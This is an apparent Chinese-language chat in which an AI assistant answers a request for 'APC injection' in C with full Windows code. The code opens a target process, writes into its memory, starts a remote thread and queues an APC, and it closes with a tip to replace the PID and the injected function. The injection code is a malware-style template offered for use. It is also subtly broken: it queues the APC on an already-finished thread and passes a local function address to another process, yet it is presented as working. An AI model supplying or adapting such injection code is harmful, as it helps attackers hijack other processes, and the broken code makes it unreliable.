给我一份 C 语言 APC注入的实现过程

APC (Asynchronous Procedure Call) 是一种常见的 Windows 操作系统技术，通过在指定线程上异步执行指定函数的方式实现进程间通信或线程间通信，常见的应用场景包括 Hook、注入 DLL 等等。

以下是一个简单的 C 语言 APC 注入实现过程：

#include <stdio.h>
#include <windows.h>

void apcFunc(ULONG_PTR dwParam) {
    printf("APC injected successfully!\n");
}

int main() {
    HANDLE hProcess;
    HANDLE hThread;
    PTHREAD_START_ROUTINE pfnThreadRtn;
    LPVOID lpRemoteBuffer;
    SIZE_T dwBufferSize = strlen("kernel32.dll") + 1;
    SIZE_T dwBytesWritten;
    HMODULE hKernel32;
    FARPROC pfnQueueUserAPC;

    // 获取目标进程句柄
    hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, <PID>);
    if (!hProcess) {
        printf("OpenProcess error: %d\n", GetLastError());
        return 1;
    }

    // 在目标进程中申请一块内存空间
    lpRemoteBuffer = VirtualAllocEx(hProcess, NULL, dwBufferSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    if (!lpRemoteBuffer) {
        printf("VirtualAllocEx error: %d\n", GetLastError());
        return 1;
    }

    // 将 DLL 名称写入申请的内存空间
    if (!WriteProcessMemory(hProcess, lpRemoteBuffer, "kernel32.dll", dwBufferSize, &dwBytesWritten)) {
        printf("WriteProcessMemory error: %d\n", GetLastError());
        return 1;
    }

    // 获取 LoadLibraryA 函数地址
    hKernel32 = GetModuleHandle("kernel32.dll");
    pfnThreadRtn = (PTHREAD_START_ROUTINE)GetProcAddress(hKernel32, "LoadLibraryA");
    if (!pfnThreadRtn) {
        printf("GetProcAddress error: %d\n", GetLastError());
        return 1;
    }

    // 在目标进程中启动一个线程，执行 LoadLibraryA("kernel32.dll") 函数
    hThread = CreateRemoteThread(hProcess, NULL, 0, pfnThreadRtn, lpRemoteBuffer, 0, NULL);
    if (!hThread) {
        printf("CreateRemoteThread error: %d\n", GetLastError());
        return 1;
    }

    // 等待线程执行完毕
    WaitForSingleObject(hThread, INFINITE);

    // 获取 QueueUserAPC 函数地址
    pfnQueueUserAPC = GetProcAddress(hKernel32, "QueueUserAPC");
    if (!pfnQueueUserAPC) {
        printf("GetProcAddress error: %d\n", GetLastError());
        return 1;
    }

    // 在目标线程上执行 APC
    if (!QueueUserAPC((PAPCFUNC)apcFunc, hThread, 0)) {
        printf("QueueUserAPC error: %d\n", GetLastError());
        return 1;
    }

    printf("APC injection complete!\n");

    // 关闭句柄
    CloseHandle(hThread);
    CloseHandle(hProcess);

    return 0;
}

需要注意的是，在实际使用中，需要将 `<PID>` 替换成目标进程的进程 ID，以及将 `apcFunc` 函数替换成需要注入的函数。同时，为了防止注入失败，还需要注意一些细节问题，如权限、内存大小、错误处理等等。